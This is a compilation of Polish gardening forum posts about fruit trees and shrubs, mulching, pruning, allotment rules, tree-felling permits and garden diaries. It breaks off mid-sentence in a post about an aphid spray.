ułożyć cienka warstwę i przysypać ziemią . Nie łapię tego zagadnienia.Przecież
zakopać nie mogę bo uszkodzę system korzeniowy. Jak sadzę krzewy to rozumiem
że pod korzeń.Może jakiś doświadczony działkowicz rozwieje moje wątpliwości

Ta Waścina {Kamko} mielonka trocino-łykowo-korowa, zwana podstępnie
korą, to obraza dla prawdziwej, w kęsach, korowiny. Połamana trwała
gruba kora wiekowych drzew, nawet ze strachem wyklinana tu
czasem dębowa, robiniowa, topolowa - jest wieczna. Zachwalam ją,
nawet jako ozdobę pasującą do modnych suszonych malowniczych karp.

Nasze 15-centymetrowe warstwy trocin, będące ściółką krzewów
owocowych, też po 5-7 latach się zmineralizowały i muszą być
wymieniane na następną warstwę zleżałych, dojrzałych, trocin.

thea19 napisała:

> a wlasnie, ze odmiany tez sa, pisalam programy, to wiem
>
Weź do ręki ten program, zajrzyj do środka i przestań bredzić o odmianach. Kit to możesz wciskać naiwnym bo ja program ochrony roślin sadowniczych na rok 2009 Plantpressu mam obok na biurku.
Milion odmian jabłoni? Wymień choć tysiąc odmian jabłoni.

PS 23 stycznia w Centralnym Ośrodku Badania Odmian Roślin Uprawnych w Słupi Wielkiej ustalono dobór odmian roślin sadowniczych na rok 2009. Obecnie znajduje się w nim 278 odmian drzew i krzewów owocowych, w tym: 71 odmian jabłoni, 17 grusz, 31 odmian śliwy domowej, 20 czereśni, 18 wiśni, 9 odmian brzoskwini, 8 moreli, 4 orzecha włoskiego i 6 leszczyny pospolitej - a z roślin jagodowych: 7 odmian agrestu, 15 malin, 22 odmiany porzeczek i 50 truskawek. W rejestrze wpisanych jest również 49 podkładek dla roślin sadowniczych.

Moim zdaniem drzewa owocowe są bardzo wymagające, trzeba opryskiwać na choroby
i odpowiednio przycinać, żeby był z nich użytek, szczególnie z nowych odmian.Na
dodatek ważny jest rodzaj gleby i poziom wód gruntowych, bo niektóre owocowe nie
znoszą wysokiego i będą cherlały aż zginą.Przerabiałam to wielokrotnie sadząc
różne odmiany owocowych na mojej glinie i w tej chwili nie mam ani pół drzewka
owocowego, bo nie mogłam na nie patrzeć.
Wpisz w gogla' drzewa lub krzewy do ogrodu naturalistycznego'i obejrzyj co ci
się podoba i dobierz do rodzaju gleby.

Odradzam wszelkie drzewa owocowe, bo aby ładnie owocowały wymagają
dużo pracy, a i w jesieni jest problem z grabieniem ton liści - wiem
co piszę z autopsji!! Dajruj sobie też rabatki z kwiatami...Gorąco
polecam obsadzenie działki dookoła tują odmiany szmaragd - rośnie do
max 3 metrów w stożek i nie wymaga ciecia. Po prostu rośnie na
kazdej glebie i bez problemów. Polecam także krzewy kwitnące, np.
kalinę, a jeżeli już drzewo to nie co bądź ale np. przepiękną
paulownię puszystą i magnolię. Szkółki oferują wiele odmian pięknych
iglaków takich szczepionych na pniu, posadz gdzie niegdzie je na
trawniku, w kompozycjach z niższymi. Dodaj do tego juki ogrodowe i
będzie CUTE ;-)

Leśnicy się złapali w sidła...
...i po latach (seeetkach lat) zauważyli, że wycinając
dla wygody drwali przy ścince drzew WSZYSTKO do ziemi
na zrębach (BHP! przy pracy) - niszczą też podszytowe
krzewy, w tym owocodajne.
.
Teraz od około 10 lat weszły w życie w branży leśnej
nowe zasady i hodowli, i ścinki, i - co najważniejsze -
tzw. instrukcja urządzania lasu. To taka
konstytucja "polityki" prowadzenia gospodarki leśnej.
W nich właśnie kładzie się nacisk na NIEWYCINANIE,
tego, co potrzebne lasom: podszytu, dolnego piętra z
podrośniętymi drzewkami NIECHCIANYCH gatunków, odmian,
genetycznie do niedana niepożądanych ras drzew.
(BIODIVERSITY!)
A nawet - NIEWYCINANIA (HURRA!) DRZEW DZIUPLASTYCH.
Przez dziesiątki lat leśnicy dowieszali budki lęgowe
dla ptaków i nietoperzy, inwentaryzowali je, czyścili -
wycinając równoczesnie NATURALNE miejsca lęgowe dla
pierzastych sprzymierzeńców.
.
Poza tym , wycinanie przydrożnych drzew owocowych -
sadzonych ROZKAZEM króla Prus czy innego Bismarcka
jeszcze w XVIII i XIX wieku na potrzeby marmoladowe
dla wojsk pruskich - WYCHODZI DZIŚ NAM bokiem.
.
Oto nie-wprost odpowiedź dla {anna'y.2007}.
.
pozdrawia
deerzet

Ja raczej w sprzedaży wysyłkowej kupuję książki, których autorów znam. Bo opis
niekoniecznie ma wiele wspólnego z zawartością. Z wydawnictwa "Działkowca"
kupiłam książkę profesora Augustyna Miki. Ale tylko dlatego, że czytałam jego
artykuły w "Działkowcu". Pisze w sposób prosty i dla mnie bardzo przystępny.
Kupiłam książkę "Sztuka cięcia drzew i krzewów owocowych". Cieniutka, ale
treściwa. Polecam.

jasiowi, mirzan ma sporo racji. owocowe drzewka najlepiej jak są
utrzymywane mniejsze - łatwiej o nie dbać. drzewko owocowe niestety
wymaga wielu zabiegów agrotechnicznych, aby miało zdrowe owocowe.
Dodatkowo, jak bedziesz musiała zbierać owoce, to może nie starczyć
Ci drabiny.
Małe i średnie drzewko owocowe produkuje sporo owoców -
wystarczającą ilość dla kilkuosobowej rodziny.
Duże drzewko owocowe produkuje baaardzo duzo owoców - nie zjesz
wszystkiego, musisz zbierać spod drzewa i cos z nimi zrobić - kłopot.
Mam gruszę wysokości ok 5-6 metrów i diabli mnie biorą, jak nie mogę
nawet sięgnąć aby przyciąć gałęzie - no i będę ją obniżać. Z dwiema
jabłoniami ta sama historia.
Trend jest raczej taki aby produkować drzewa na takich podkładkach,
aby ograniczać rozmiary drzewa np. orzech włoski czy jabłonie.

no dobrze to tyle o owocowych.

a tak poza tym - to baardzo bardzo dobry ruch zacząć sadzić nim
zakończy się budowa. Stanie dom i sporo roslin juz będzie.

na początek najwazniejsze drzewa, krzewy i zywopłot. Bo rosną
najdłużej. A reszta do przemyślenia, jak już drzewa i krzewy bedą
rosły.

Proponowałbym nie przesadzać z ilością drzew i krzewów. Taka działeczka najlepiej wygląda jak jest na niej widoczne dużo przestrzeni pokrytej zieloną trawą. Gdzieniegdzie można posadzić grusze i śliwki, małe drzewka brzoskwiniowe, żeby dzieci miały co podjadać latem, i jakieś jedno dużo drzewo (nieowocowe), gdzie można powiesić huśtawkę;)Kwiaty najlepiej posadzić przy samym budynku albo od furtki po bokach ścieżki wiodącej do domu.
Domyślam się, że urządzanie takiej działeczki to świetna przygoda!

Jeśli chodzi o róże i to na dodatek pienne, radzę szybko z powrotem
je okryć. Z róż zdejmujemy okrywy lub kopce dopiero pod koniec marca
(jak jest ciepla wiosna) lub początkiem kwietnia. Róże pienne
najlepiej zimują przygięte i zakopczykowane w ziemi. Z azali i klonu
też nie zdejmuj jedliny, bo wprawdzie są odporne na mrozy, ale
mlodym pączkom szkodzą mroźne wiatry i różnice temp.(w dzień na
plusie, a w nocy na minusie). Ogólnie, okrywy zimowe ściągamy pod
koniec marca. Pod koniec lutego można zacząć cięcie krzewów i drzew
owocowych, natomiast krzewy ozdobne pod koniec marca, ale tylko te
co kwitną latem lub jesienią, natomiast te które kwitną wiosną
tniemy po kwitnieniu.

kiedy sadzić drzewka i krzewy owocowe-można wiosną
Pytanie jak w temacie :) Wiem ,że najlepiej jesienią, ale cóż, nie
pomyślałam o tym :(
Chciałabym zasadzić wiśnie, jabłoń, maliny, porzeczki i truskawki.
Poszperałam w internecie po różnych Szkółkach Drzew Owocowych i
teraz zostaje tylko zamówinie zrobić :)
Mam jednak pytania do doświadczonych :
- czy jakoś specjanie przygotować ziemię pod drzewka owocowe?
- kiedy można się spodziewać pierwszych owoców z drzewek owocowych-
3-4 lata?
- a z krzewów malin, porzeczek ??
Pozdrawiam,magda

dla blokersów - może kogoś zainspiruję
Mieszkam w dużym i paskudnym mieście (tak zgadliście - w Łodzi ) W tamtym roku latem spacerowałam sobie po okolicy z dzieciakami i odkryłam że niedaleko mnie są świetne ogródki działkowe - przeszłam po alejkach i stwierdziłam że chcę taką działkę, cisza, spokój, żywopłoty zapewniające prywatnośc - no i tydzień później kupiłam coś takiego. Naprawdę super sprawa - 300m własnej trawy, a do tego owocujące drzewa, miejsce na warzywka, domek (mąż zaczął remont i nie może się doczekac kiedy go skończy) taras, grill, własna przestrzeń dla dzieci - można postawic basenik. Zasadziłam jesienią cebulki kwiatowe i owocowe krzewy - nie mogę się doczekac wiosny....
A kasa na ten wydatek? W ciąży oszczędzałam na poród w prywatnej klinice (po pierwszym tak się bałam normalnego szpitala - ale wyszło inaczej i musiałam rodzic w szpitalu z intensywną terapią) więc kasa została no - troche dołożyliśmy

U mnie zmiany !
Środa to właściwie dla mnie piątek - ostatni dzień tygodnia w biurze
no i joga w południe, która przełącza mnie na niższe obroty. W
czwartek i piątek nie tylko pracuje w domu ale i staram się na te
dwa dni nie organizować zebrań. Właśnie wróciłam z (nieco
przedłożonej) przerwy na lunch w ogrodzie, gdzie wysprzątałam
królikowi zagrodę, wypuściłam na godzinę kury, podlałam drzewa i
krzewy owocowe, ogród ziołowy, paprociowisko oraz wszystkie
doniczki, bo zapowiada się gorący tydzień - dziś 23 stopnie, jutro
25 a przez następne 3 dni do 30 stopni. W cieniu, oczywiście.

Odpoczywam po wczorajszych emocjach - otóż córka dostała się do
ostatnich dwóch klas najlepszej szkoły państwowej w Sydney, gdzie
przedtem chodził jej brat. Teraz w domu mały dramat, bo porzuci
swoja żeńską szkolę i przeniesie się do tamtej, ale sama chce (uff).
Na szczęście szkoła jest koedukacyjna, bliżej domu i córka ma tam
spora grupę przyjaciół, głownie lokalnych dzieciaków, z którymi
chodziła albo do podstawówki albo do żeńskiej szkoły średniej, zanim
się przeniosły. No i dzieci naszych nowych sąsiadów tez tam chodzą.
Będzie wesoło.

Wasza Iluzja z zagrody

Projektując ogrody niezwykle rzadko zdarza mi się projektować warzywniki. Zwykle
udaje mi się "przemycić" zielnik. Pocieszające jest to, że ten trend troszkę się
odwraca. Już prawie nie ma ogrodów złożonych tylko z iglaków, pojawiają się
drzewa i krzewy owocowe. Na modnych ostatnio wrzosowiskach, projektuję, a
później sadzę, borówki amerykańskie.
Siła reklamy Roundapu jest ogromna. Niezwykle trudno przekonać ludzi, że jeśli
na istniejące chwasty planują nawieźć 30 cm nowej ziemi, to oprysk herbicydem
jest niepotrzebny, a opowieści o zupełnej nieszkodliwości tego środka można
między bajki włożyć...

Napisalam wkleiłam fotke i nie poszło.....

Zdjecie powyzej jest z maja 2008 a teraz wklejam z wrzesnia 2008,czyli moja
działka ma dopiero roczek.Jest wiele krzewow i kilka drzew owocowych no i
ogromny jako-taki trawnik. Wszystko jednak przy takiej powierzchni
niewidoczne.Rabata z chojakami,krzewami i bylinami jest przy płocie ale tylko z
jednej strony.
No wiesz łysa działka!
A ja nadwyrężalam kregosłup cały sezon wyrywając ręcznie chwasty z trawy.

Zmiana przebiegu drogi służebnej - możliwa?
Witam!
Przez naszą działkę biegnie droga służebna do domu sąsiadow.
Służebność jest podobno w księgę wieczystą i nie ma możliwości aby
sąsiedzi korzystali z innej drogi dojeżdżając do swojej posescji.
Droga służebna biegnie środkiem działki i w efekcie gdybyśmy chcieli
ogrodzić choć część ogródka np. dla dziecka to efekt byłby taki że
mielibyśmy dom oddzielony od ogródka a pośrodku droga. Chcielibyśmy
przesunąć drogę na bok działki tak by sąsiad mógł swobodnie
dojeżdżać a my mielibyśmy część ogrodu bezpośrednio przy domu.
Poprzedni właściciele mieli z boku działki coś w rodzaju stodoły i
mały sad owocowy więc nie mogła iść tamtędy droga. My chcemy to
wszystko zburzyć a drzewa i krzewy owocowe wyciąć i tamtędy
poprowadzić drogę. Moglibyśmy się dogadać z sąsiadami ale chcemy aby
w papierach było wszystko wyczyszczone. Gdzie możemy się zwrócić o
pozwolenie na taką zmianę o ile jest wogóle taka możliwość
Z góry dziękuję z odpowiedź
Agnieszka

Lepiej zgłosić do urzędu miasta czy gminy. Bez zezwolenia możesz wyciąć drzewa
owocowe, krzewy lub drzewa, których wiek nie przekroczył 5 lat. A te Twoje
"choinki" na pewno mają więcej niż 5 lat. Jeśli nie masz działalności
gospodarczej i nie zamierzasz mieć, to nie będziesz za to płacić. Natomiast
zapłacisz jak wytniesz je bez pozwolenia i urząd się o tym dowie ("życzliwi
sąsiedzi").

zapasy w spiżarni
panie piszą o zakupach na zapas i uważają to za cholizm.
Co ja biedna kobieta mam zrobić na wsi. Nieopatrznie kupiliśmy domek z dużym
ogrodem; drzewa owocowe, krzewy, warzywnik.
Wszystko pięknie rośnie , dojrzewa.Robię przetwory ,robię , robię ,suszę ,
gotuję , kiszę .
Potem czekam ,kiedy pojawią się dzieci-żeby chciały wziąć i zjeść.
Czasami zrobią łaskę i wezmą , a pozostałe wydaję lub wyrzucam .
Ogromna niegospodarność/ cukier, gaz, czas/.
O wywiezieniu do miasta i sprzedaży trudno mówić ,bo transport, placowe to
akurat "zysk".
Sąsiedzi nie chcą . Mają ten sam problem

> Prawda Figrutko, w Twoim ogrodzie niech psina tarabani nawet do wazy
> z saskiej porcelany!
Otóż to Niestety porcelany u mnie w ogrodzie brak Jest za to dzicz
przeplatana kwiatami rozsianymi gdzie popadnie i stare klatki po nutriach chyba.
Nie mam skoszonej trawki, wypielęgnowanych klombów, strzyżonego żywopłotu, ale
mam tunele z krzewów, stare drzewa owocowe i full wypas jeśli chodzi o dzikie
zabawy bez uważania na to, że cokolwiek się podepcze

Niedziela w gumiakach
Po ulewnej sobocie niedziela przyszla wilgotna, pochmurna ale nie
deszczowa,wiec spedzilam ja w gumiakach:

fotoforum.gazeta.pl/photo/5/jb/ze/4zgn/ObhG4cbiTL0sza7BQB.jpg">URLKUNIEC

Bez wdawania sie w szczegoly: oproznilam dwie komory kompostownika,
kompost wrzucilam pod paprocie oraz wypelnilam nim rowek odplywowy
zakopujac dziurkowana rure podlaczona do zbiornikow deszczowki - na
jego czterometrowej dlugosci wsadze zima maliny. Wyczyscilismy z
Buszmenem kurnik a jego zawartosc tez poszla do rowka odplywowego.
Rowek bedzie przedluzony tworzac system tzw. swales - nie wiem, jak
to brzmi po polsku, ale chodzi o utrzymujace wilgoc rowy wypelnione
materialem organicznym, w ktorych mozna sadzic rosliny wymagajace
stalej wilgotnosci, warzywa, krzewy i drzewa owocowe. Takie systemy
promuje permakultura a stosuje sie je nawet na czystym piasku, np. w
pustynnych kibucach Izraela.

Co jeszcze? Szalotka, szalwia i kolendra posadzone a pietruszka
posiana w nakompostowanym ogrodku ziolowym. Czas zebrac sie w sobie
i wreszcie posadzic drzewa i krzewy, ktorymi zapelnie polowe gornego
trawnika.

Pozdrawiam z biura, patrzac na sloneczny las za oknem.
Luiza-w-Ogrodzie
Forum AUSTRALIA

Żyję obecnie w mieszkaniu, do którego przenieśliśmy się po śmierci mojej Mamy.

Umeblowane jest prawie takie samo jak było przed laty. Te same żyrandole, obrazy
znane od dzieciństwa, fotele i komódki,
ta sama łazienka i nieduża "gomułkowska" kuchnia.

Czasem wydaje mi się, że w tym domu jest ten sam zapach / regularnie pastowanej
podłogi /, ta sama atmosfera...

Wszak był to "mój dom", przez lata byłem w nim zameldowany, wynajmując różne
mieszkania, wiele lat miałem też inne
mieszkanie.

Prawie co tydzień spotykaliśmy się w domu Mamy i Ojczyma.
Tutaj spędzaliśmy również dni świąteczne, kiedy przyjeżdżała /i przyjeżdża/ z
zagranicy moja siostra z mężem i synem.

Czteropiętrowy dom stoi wśród krzewów i drzew, również owocowych.
Jest tu, nie tylko od wiosny pięknie.
Bardzo lubię to miejsce.

W dzieciństwie nie miałem tak pięknie.

Jeden dom dziadków, Niemcy wysadzili w powietrze, drugi zabrali komuniści, z
następnego mieszkania moich rodziców, po nagłej
konieczności wyjazdu Ojca z Polski, zostałem z Mamą wysiedlony...

Mieszkałem również, jako dwudziestolatek w bardzo ładnym domu z ogrodem u Ojca i
Macochy w West Orange N.J.

Witek


"980 - drzew do usunięcia, w tym 754 ozdobne (grab pospolity, klon zwyczajny,
jesion pensylwański i wyniosły, olsza czarna, brzoza, dąb, topola, wierzba, klon
jesionolistny, sosna pospolita, wiąz szypułkowy, głóg, akacja biała) i 226 drzew
owocowych

4692 - planowanych nasadzeń, w tym 150 drzew liściastych (dąb czerwonolistny,
jabłoń purpurowa, jarząb pospolity), 3722 szt. krzewów liściastych (dereń, irga,
pigwowiec, cherznica, róża, porzeczka, ligustr, tawuła), 820 szt. pnączy
(kokornak, pojownik, wiciokrzew, winobluszcz)."

Na studiach cię Wojtku nie nauczyli, że trzeba czytać tekst do końca?

ale fajnie było. ..

no, no, no.
co też z człowiekiem zrobić mogą
takie rozległe trawniki po których można łazić, kłaść się i opalać,
mnóstwo różnych gatunków kwitnących krzewów,m.in.jaśminy do
kwitnięcia się szykujące,
dzikie róże, bez, drzewa różne - liściaste i iglaki - w tym pełno
kasztanów kwitnących, masa różnych bylinowatych kwiatów - w tym te
żółte, ktore się rozrastają z zupełnym szaleństwem,
staw z mostkiem i fontanną po którym kaczuszki pływają,
i część dzika tego parku, gdzie drzewa, także owocowe bardzo stare -
no same wspaniałości.
a następnym razem mamy iść do lasu, który ponoć bliziutko.
superacko będzie.

To ja wam dodam coś od siebie. Moja mama ma działeczkę nawet sporą, bo 700m. Ma na niej drzewka i krzewy owocowe. Sadzi też trochę warzywek. Choć z założenia miała to być działka rekreacyjna. No i co dalej. Mama wiecznie mi truje, że owoce się psują na drzewach, bo nie ma, kto i zebrać a ja kupuję w warzywniaku pod blokiem. A nie wiem czy nie pryskanie i takie tam. Jej na pewno niczym nie pryskane  tylko że działka znajduje się jakieś 400-500m od gierkówki i nie przekonuje jej argument że w jej owocach i warzywach pełno ołowiu <lol>. I które owocki wybrć

masz racje, nie stosuje sie.
6. Przepisów ust. 1 i 2 nie stosuje się do drzew lub krzewów:
1) w lasach;
2) owocowych, z wyłączeniem rosnących na terenie nieruchomości wpisanej do
rejestru zabytków oraz w granicach parku narodowego lub rezerwatu przyrody - na
obszarach nieobjętych ochroną krajobrazową;

Irenko, my po prostu lubimy grzebac w ziemi.Nasz ogród graniczy z trzema
sąsiadami, czwarty styka się z nami tylko rogiem.Wszystkie ogrody zostaly
zaprojektowane i zrobione przez specjalistow, tylko nasz, to taki wiejski
skansen.Grządki z warzywami, drzewa owocowe, dużo wiejskich kwiatów i krzewy
formowane przez mojego męza:bukszpany w kulki, tuja w spiralę, srebrny jałowiec
w rogi łosia.....Taki ogród wymaga dużo pracy, ale daje tez duzo satysfakcji.
Nie dziwię się, ze jestes zmeczona, gosc z forum to przezycie.Del.wa pisze na +-
60.Ja tam zagladam od czasu do czasu.Życzę spokojnej nocy.

Macie rację trzeba dbac o siebie.Jaga_22, Ty naprawde tryskasz
optymizmem.Ja chyba trochę zgorzkniałam.Co do działki, to mam
przydomowy ogród, a w nim kwiaty, krzewy, warzywa i kilka drzew
owocowych.Jesień w moim ogrodzie zaczyna się od czereśni na której
przebarwiają sie liscie.Jesień w moim życiu jeszcze się nie
zaczęła.Bawię wnusię, czyli przeżywam swoją młodosc.

Jeszcze nigdy zgniły kapitalizm tak nie zmasakrował drzew i krzewów
jak w chwili obecnej.Na portalu Kaja można zobaczyć ogławiane
drzewa,zresztą na Słonecznym też się tak załatwia np.brzozy w
miejscach gdzie zupełnie NIKOMU nie przeszkadzają a nawet wręcz
przeciwnie np.nieopodal śmietnika,albo pozostawianie czubków drzew
owocowych,które chorują,nie owocują i zostaje tylko pień na
sprzedaż.Masawyciętych rajskich jabłoni wzdłuż ekranu na Bocianku
była pzerażającym widokiem w środku lata na tle barako-biura
ustrojonego w oryginalne kwiaty.Wczoraj w TV widziałem zieleń w
Opatowie,chyba nie mają spólki prawa handlowego,z niegr.nieodpow.

Też tak myślę jak Jacek. Mirabelki nie są uprawiane jako drzewa
owocowe tak jak jabłonie, grusze czy śliwy. Rosną sobie po prostu.
Ja mam w ogrodzie coś takiego "mirabelkowatego", nawet nie wiem jak
się to nazywa - liście ma czerwone i śliweczki też czerwono-różowe,
kształtu, wielkości i smaku mirabelek. Bardzo dobre.
Nie kupi się też na targu owoców pigwy i pigwowca, bo te rośliny są
traktowane raczej jako krzewy ozdobne. Jak co roku będę miała masę
pigw - których nie wykorzystuję, może ktoś jest chętny - pod koniec
sierpnia dojrzeją :)

Prosisz o podanie roślin łatwych w uprawie. Ale jakiego typu mają być to
rośliny? Drzewa i krzewy ozdobne? Drzewa owocowe, warzywa? Kwiaty?
Na pewno bardzo łatwe w uprawie są takie rośliny, które:
- są rodzime (pochodzą z naszego klimatu),
- są dostosowane do stanowiska, rodzaju gleby. Można nawet popatrzeć co w
okolicy wyrasta. Czy same sieję się np. sosny, brzozy, czy np. dęby, klony,
jesiony, itp.

Na kwaśne piaski nadają sie z pewnością zwykłe sosny, brzozy, jałowce, wrzosy,
itp.

Orzech włoski (juglans regia) jest drzewem owocowym. Pozostałe gatunki orzecha
uważane są za drzewa ozdobne. Są to m.in. orzech czarny (juglans nigra), orzech
szary (j. cinerea), mandżurski (j. mandshurica), czy japoński (j. sieboldiana).
Jeżeli chodzi o wiśnię, to za ozdobne uważa się np. wiśnię piłkowaną (cerasus
serrulata), wiśnię wonną (c. mahaleb), wiśnię kosmatą (c. tomentosa) i wiele
innych gatunków. Drzewem owocowym jest wiśnia zwyczajna (c. vulgaris) i jej
odmiany, ale niektóre z odmian (np. pełnokwiatowa lub kulista) uważa się za
drzewa ozdobne. Podobnie jest z jabłoniami, czy gruszami - niektóre uważa się
za ozdobne. Oczywiście istnieją drzewa jednocześnie owocowe i ozdobne, krzewy
też (leszczyna). W każdym razie, jeżeli drzewo ma jadalne i smaczne owoce,
należy uważać je za drzewo owocowe. Dobrym przykładem jest tu orzesznik, inaczej
hikora (carya), pospolicie uprawiany w Ameryce Północnej. Ma zarówno gatunki o
smacznych owocach, jak i o gorzkich. Te drugie oczywiście są wyłącznie ozdobne.

na mojej działce również mech,
do tej pory wrastał w trawnik i jakoś się z tym pogodziłam, bo specjalnie nie
szkodzi, ale dziś odwiedzałam swoją działeczkę pierwszy raz po zimie i mech
wchodzi również na rabatki :( nie wygląda to ładnie ani estetycznie, bo rabatka,
która niebawem już, mam nadzieję ;) pokrywać się będzie wiosennym kwieciem zlewa
się na zielono z trawnikiem i muszę ten mech wydzierać motyczką spomiędzy
wychodzących już powolutku liści roślin zimujących z glebie,
nie znam sie zupełnie na chemii i nawozach, ogród odziedziczyłam po babci i ona
nigdy takich rzeczy nie stosowała, ale może powinnam chociaż rabatki czymś
podsypać, żeby mech sobie stamtąd poszedł i kwiaty bujniej rosły? dodam, że są
tam tylko kwiaty i krzewy, z jadalnych to 3 drzewa owocowe, maliny i aronia, ale
rosną na odzielnych stanowiskach, wieć mogę i chciałabym sypnąć coś tylko na
rabatki kwiatowe, ale nie wiem co.. :/
pozdrawiam :)

potwierdzam - dokładnie jest to tytuł

Ciecie drzew i krzewów owocowych- Augustyn Mika-
jest tam wszystko co potrzeba;

po za tym nie ma pośpiechu;

bo najlepiej przycinać drzewa pestkowe przy ciepłej słonecznej pogodzie- kiedy
są ustabilizowane warunki termiczne - a jest to okres czerwiec- lipiec;

tu chodzi o bardzo łatwe zakażenie grzybami ran ( mimo smarowania)

dobrze , że przycięłaś tą stara śliwę bo śliwy nie powinny być wyższe licząc od
ziemi jak 3 metry

Na stronie Polskiego Związku Działkowców www.pzd.pl/strona.php?30
znalazłem
Regulamin Rodzinnego Ogrodu Działkowego
uchwalony przez
Krajową Radę Polskiego Związku Działkowców
w dniu 7 kwietnia 2004 roku
i znowelizowany w dniu 23 listopada 2006 roku:

"§ 117
1.Na granicy działek, za pisemną zgodą użytkownika sąsiedniej działki, można
zakładać żywopłoty.
2.Wysokość żywopłotu na granicy pomiędzy działkami ustalają sąsiadujący
użytkownicy z tym, że nie może ona przekraczać 1 metra.
[...]

§ 119
[...]
3.Dopuszcza się sadzenie drzew ozdobnych w odległości 1 metra od granicy
działki, o ile ich wysokość nie przekroczy 2 metrów.
4.Krzewy ozdobne silnie rosnące należy sadzić w odległości co najmniej 2 m, a
krzewy słabo rosnące i płożące formy iglaków co najmniej 1 m od granic działki.
5.W odległości do 2 m od granicy działki wysokość drzew i krzewów ozdobnych nie
powinna osiągać więcej niż 3 m.

§ 120
1.Członek PZD zobowiązany jest do cięcia i prześwietlania drzew oraz krzewów
owocowych i ozdobnych w taki sposób, aby gałęzie nie przekraczały granic działki.
2.W razie niedopełnienia obowiązku określonego w ust. 1, użytkownik sąsiedniej
działki może obciąć przechodzące gałęzie, o ile wcześniej wyznaczył sąsiadowi
odpowiedni termin do ich usunięcia."

Moje wcześniejsze porady dotyczyły oczywiście ogrodu przydomowego, zasugerowałem
się tym, że pisałaś o płocie i o opiece nad dziećmi.

Swój ogród na nieużytkach V i VI kl. zakładam od 3 lat. Ponieważ wcześniej był
to kompletny ugór porośnięty chwastami sięgającymi 1,5 m kosztuje to mnie i
mojego męża wiele pracy. Ale mam już warzywnik, posadziłam wiele drzew, w tym
owocowych i krzewów. Jaśminowce mam dwa i rosną naprawdę dobrze. Zawsze, mimo iż
większość roślin to "przypadkowe" dary i prezenty, staram się dowiedzieć jak
najwięcej o sadzonej roślince. Oczywiście dużo łatwiej jest pielęgnować
roślinkę, która dostosowana jest do warunków glebowych, ale co zrobić gdy
dostaje się azalie, hortensje i inne wymagające roślinki? Kupuję szczepionkę
mikoryzową. Jest już w sprzedaży kilka rodzajów. Warto też założyć
kompostownik. Kompost to wspaniała rzecz dla roślin rosnących na piaskach.
Oczywiście za wyjątkiem tych kwasolubnych. Siej również na każdym wolnym,
przekopanym skrawku ziemi rośliny na nawozy zielone. Powodzenia.

Teraz poważnie :) Wykorzystaj nierówności terenu, nie wyrównuj, a podkreśl
delikatnie drewnem, kamieniami (byle nie w nadmiarze) niezbyt natrętnie tzn. nie
rób schodów z płytek betonowych.Do wiejskich ogrodów nadaje się wiele roślin,
ale trzeba pozostawić je w miarę naturalnym pokroju (krzewy), byliny o
'swojskim' wyglądzie.Z wiejskim ogrodem kojarzy mi się swobodny żywopłot,zamiast
ogrodzenia z jednej strony, niski płotek okalający warzywnik, drzewa owocowe w
wysokiej trawie i ule...ale kto by teraz z młodych ludzi zawracał sobie głowę
pszczołami:)

Front domu z duzymi skrzynkami pelnymi pelargonii zawieszonymi
ponizej okien.
Przed domem kolorowy ogrod kwiatowy: malwy, stokrotki, maciejki,
floksy, roze, lilie, tulipany, narcyze, szafirki, wrzosce.
Z drzew i krzewow: sady owocowe, bzeczace pszczolami lipy, brzozy,
jasminy, forsycje, rozowy migdalek.
Ogrod warzywny z fasola pnaca sie po drewnianych tyczkach.
Plotki plecione z chrustu, zeby kury w szkode nie weszly :o)
Kury, drapiace dolki na ogrodzonym podworku i buszujace pod
drzewkami w sadzie.
Stawek z kaczkami.
Bocianie gniazdo na dachu - albo chociaz drewniane kolo zamocowane
na dachu albo wysokim pniu/slupie w celu zachcecenia do budowy
gniazda.

Luiza-w-Ogrodzie
.¸¸><((((º>¸¸.·´¯`·.¸¸><((((º>
Australia-uzyteczne linki

Na wiosnę sypię azofoskę jako nawóz startowy pod prawie wszystkie drzewa,
krzewy, byliny. Właśnie tydzień temu to zrobiłam. Drzewa i krzewy obsypuję w
zasięgu korony. Na worku zwykle jest podane dawkowane. Ja to robię "na oko".
Drzewa owocowe 4 letnie dostają po 2 garści, krzewy po jednej. Rabaty kwiatowe
lekko oprószam. Trzeba uważać, aby nie sypać po liściach. Jeśli tak się stanie,
to trzeba opłukać wodą. Dobrze jest później zmieszać ten nawóz z ziemią. Ja mam
tak duży obszar, że nie wszędzie to zdążę zrobić. Jeśli rozsypię przed deszczem,
to deszcz to rozpuści i się wchłonie. Pod róże i rośliny kwasolubne stosuję
nawozy specjalistyczne.

Sposób na psa
Witam,
Dziś pytanie dot. czworonogów.
Niestety wszystkie posadzone w ubiegłym roku tuje (sztuk 14) została
popalona przez mocz mojego psa ;(((
W tym roku po posadzeniu kolejnych krzewów, azalii, drzew owocowych
a nawet bratków osłoniłam rośliny siatką drucianą wysokości około 50
cm z palikami. Niestety nie wygląda to zbyt estetycznie. A może
macie inne, sprawdzone sposoby na ochrone roślin przed zwierzakami?
Psiór nie ma kojca, nie jest uwiązany, biega samopas po działce i
niestety tak musi zostać.
Czekam na Wasze propozycje.
Pozdrawiam
Zielona

A to Ci ...
A to Ci numer!

Warzywnik musi być.
Dla zdrowia i tężyzny, dla nauczenia dziaciaka, że to nie tak łatwo
się przed alergią ze zjadania barachła z konserwantami ustrzec.

Mam pokazać {Mali_nce} fotki sosnowego lasu obok naszych ogródków i
4-metrowych słoneczników, cukini jak marzenie, dyń, co ledwo
dźwignąć mogłem - krzewów owocowych itp?
Wprawdzie na mych piaskach nie sadzę drzew owocowych - ale nasi
Niemcy - poprzednicy tam tak robili - rośnie tam i śliwa i
czereśnia - nawożone dodatkowo - ale owocują..

Wystarczy tam u {M} NADSYPAĆ dowiezionej ziemi [moi rodziciele tak
uczynili] na swe gruzowisko - samo będzie rosło!


Miałem takie ich "kartonowe" gniazdo w garażowej ściance - do zimy
nie mogłem w warsztatowym kąciku tam niczego ... urżnąć. Wyłaziła
cała zgraja, gdym szlifierką "wibrował".

Po sezonie wylęgu WSZYSTKIE OTWORY, szczeliny, poddasza
USZCZELNIŁEM, docieplając przy okazji.
Na kompoście wszelkie SŁODKIE ogryzki przykopywałem.
SPADY WSZELKIE spod krzewów i drzew owocowych pozbierałem.

GŁODEM błonkoskrzydłe radzę wziąć w karby.

Po kilku latach tylko dzieciarni na strychu kartonowe Megapolis
pokazuję..
Gwoli prawdy - szerszeń czasem nas odwiedza.
Sztuk jeden.

Ważki z warżką - też.

Ja od dwóch lat stosuję środek o nazwie Calypso, jest niezwykle
skuteczny i na dokładkę wystarczy popryskać raz w sezonie i o dziwo
mszyca już nie wraca na te pryskane rośliny. Dwa lata temu pryskałam
